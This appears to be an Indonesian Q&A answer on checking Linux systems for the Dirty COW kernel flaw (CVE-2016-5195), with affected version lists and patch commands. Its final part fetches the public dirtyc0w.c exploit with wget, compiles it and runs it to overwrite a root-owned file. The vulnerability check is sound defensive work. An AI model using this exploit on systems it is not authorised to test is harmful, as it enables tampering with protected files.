Anda dapat melakukan uname -rv
untuk mengetahui versi kernel Linux Anda. Anda akan mendapatkan output yang mirip dengan di bawah ini:
4.4.0-42-generic #62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016
Jika versi Anda lebih lama dari yang berikut, Anda terpengaruh:
-
4.8.0-26.28 untuk Ubuntu 16.10
-
4.4.0-45.66 untuk Ubuntu 16.04 LTS
-
3.13.0-100.147 untuk Ubuntu 14.04 LTS
-
3.2.0-113.155 untuk Ubuntu 12.04 LTS
-
3.16.36-1+deb8u2 untuk Debian 8
-
3.2.82-1 untuk Debian 7
-
4.7.8-1 untuk Debian tidak stabil
Menurut security-tracker.debian, Anda perlu menjalankan uname -a
dan verifikasi versi kernel Anda saat ini .
wheezy 3.2.78-1 vulnerable
wheezy (security) 3.2.82-1 fixed
jessie 3.16.36-1+deb8u1 vulnerable
jessie (security) 3.16.36-1+deb8u2 fixed
stretch, sid 4.7.8-1 fixed
Kerentanan ini ditambal di bawah debian , dengan memutakhirkan sistem Anda :
apt-get update
apt-get upgrade
apt-get dist-upgrade
Edit
Bagaimana cara memastikan bahwa sistem operasi saya tidak terpengaruh oleh CVE-2016-5195?
Anda dapat mencoba tutorial berikut.
Unduh eksploit.
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
Sebagai root :Buat foo
berkas:
su
echo this is not a test > foo
Sebagai pengguna :
gcc -lpthread dirtyc0w.c -o dirtyc0w
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000
Verifikasi file Anda:
cat foo
Pada mesin yang rentan Anda akan mendapatkan m00000000000000000
sebagai keluaran.